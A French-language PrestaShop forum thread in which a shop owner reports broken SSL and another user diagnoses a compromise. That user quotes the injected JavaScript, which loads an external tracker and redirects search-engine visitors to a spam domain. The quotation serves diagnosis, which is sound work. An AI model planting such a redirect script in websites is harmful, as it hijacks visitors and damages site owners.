manu72 Posted February 5, 2020 Share Posted February 5, 2020 (edited) Bonjour à tous, tout d abord voici ma configuration : Version de PS: 1.7.5. URL du site concerné: https://laboutiquedelerotisme.fr/Thème (défaut / perso): Code classique (original / modifié): modifié (css) Hébergement: ionos Version de PHP: 7.2.27 Version de MySQL: 5.5.60- 0 + deb7u1 Navigateur (s) concerné (s): chrome firefox Bonjour, je rencontre un souci depuis ce jour, je m'explique, quand je vais sur le front office de ma boutique, le ssl n'est pas acitvé, je ne comprends pas car hier tout fonctionnait bien, la boutique avait bien un accès securisé et depuis ce matin plus rien, plus d acces securisé, ce qui comme vous pouvez le voir, sur le front office bloque tout, plus aucun lien ne fonctionne (vers les produits, vers la categorie etc) Coté back office le ssl est bien activé, cote hebergement chez ionos le ssl est aussi actif pour le nom de domaine, je ne vois pas ou je pourrais allez chercher, voici quelques infos que j ai sur la page informations côté back office, presta m indique: Liste des fichiers modifiés Des changements sur vos fichiers ont été détectés. Fichiers manquants (2) INSTALL.txt docker-compose.yml Fichiers modifiés (1) index.php pensez que que cela peut venir de là? oups j ai oublié de precisé, sur le back office, l'acces est bien sécurisé ( cadena en haut dans la barre d'adresse ) Edited February 5, 2020 by manu72 oublie (see edit history) Link to comment Share on other sites More sharing options...
Eolia Posted February 5, 2020 Share Posted February 5, 2020 (index):1 Mixed Content: The page at 'https://laboutiquedelerotisme.fr/' was loaded over HTTPS, but requested an insecure script 'http://mct61.com/hm.js'. This request has been blocked; the content must be served over HTTPS. (index):1 A cookie associated with a cross-site resource at http://fontawesome.com/ was set without the `SameSite` attribute. A future release of Chrome will only deliver cookies with cross-site requests if they are set with `SameSite=None` and `Secure`. You can review cookies in developer tools under Application>Storage>Cookies and see more details at https://www.chromestatus.com/feature/5088147346030592 and https://www.chromestatus.com/feature/5633521622188032. (index):1350 Mixed Content: The page at 'https://laboutiquedelerotisme.fr/' was loaded over HTTPS, but requested an insecure image 'http://www.dorcelcash.com/banners/dorcelvision/DORCELVR_300x250_Autopromo_V1_FR.jpg'. This content should also be served over HTTPS. (index):1351 Mixed Content: The page at 'https://laboutiquedelerotisme.fr/' was loaded over HTTPS, but requested an insecure image 'http://www.dorcelcash.com/banners/dorcelclub/DORCELCLUB-SOFT-LINGERIE-AFFIL-ADEXCHANGE-300x250.jpg'. This content should also be served over HTTPS. (index):1352 Mixed Content: The page at 'https://laboutiquedelerotisme.fr/' was loaded over HTTPS, but requested an insecure image 'http://www.dorcelcash.com/banners/dorceltv/DORCELTV_300x250_GIF_FR.gif'. This content should also be served over HTTPS. (index):1 A cookie associated with a cross-site resource at http://www.dorcelcash.com/ was set without the `SameSite` attribute. A future release of Chrome will only deliver cookies with cross-site requests if they are set with `SameSite=None` and `Secure`. You can review cookies in developer tools under Application>Storage>Cookies and see more details at https://www.chromestatus.com/feature/5088147346030592 and https://www.chromestatus.com/feature/5633521622188032. Link to comment Share on other sites More sharing options...
manu72 Posted February 5, 2020 Author Share Posted February 5, 2020 merci de votre info, que dois je faire, et maintenant aussi je me retrouve avec des caracteres speciaux sur la boutique Link to comment Share on other sites More sharing options...
Eolia Posted February 5, 2020 Share Posted February 5, 2020 corriger les appels en http et surtout celui qui bloque tout: http://mct61.com/hm.js Vous avez dû installer un nouveau module qui appelle cette url non-sécurisée. Link to comment Share on other sites More sharing options...
manu72 Posted February 5, 2020 Author Share Posted February 5, 2020 re, justement je n ai rien installe entre hier et aujourd hui, et je viens de m apercevoir, que je desactive le bloc texte personalise et le caroussel de la page d acceuil, je vide le cache, recompile les fichiers mais rien ne se mets a jour Link to comment Share on other sites More sharing options...
Eolia Posted February 5, 2020 Share Posted February 5, 2020 il semblerait que vous vous êtes fait hacker, il pue ce code^^ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?24567ac79294fd9e929f2df5156b9d1c"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); var regexp = /\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|sm|qq|so|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig; var where = document.referrer; if (regexp.test(where)) { window.location.href = "https://www.fd556.com/?att=250496" } https://www.fd556.com/?att=250496 Link to comment Share on other sites More sharing options...
manu72 Posted February 5, 2020 Author Share Posted February 5, 2020 aie, du coup je ne sais plus quoi faire Link to comment Share on other sites More sharing options...
Eolia Posted February 5, 2020 Share Posted February 5, 2020 faites nettoyer votre site par un professionnel Link to comment Share on other sites More sharing options...
manu72 Posted February 5, 2020 Author Share Posted February 5, 2020 avez vous quelqu un a me conseille ? Link to comment Share on other sites More sharing options...
Eolia Posted February 5, 2020 Share Posted February 5, 2020 Faites une demande sur le forum, moi je n'ai pas le temps. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now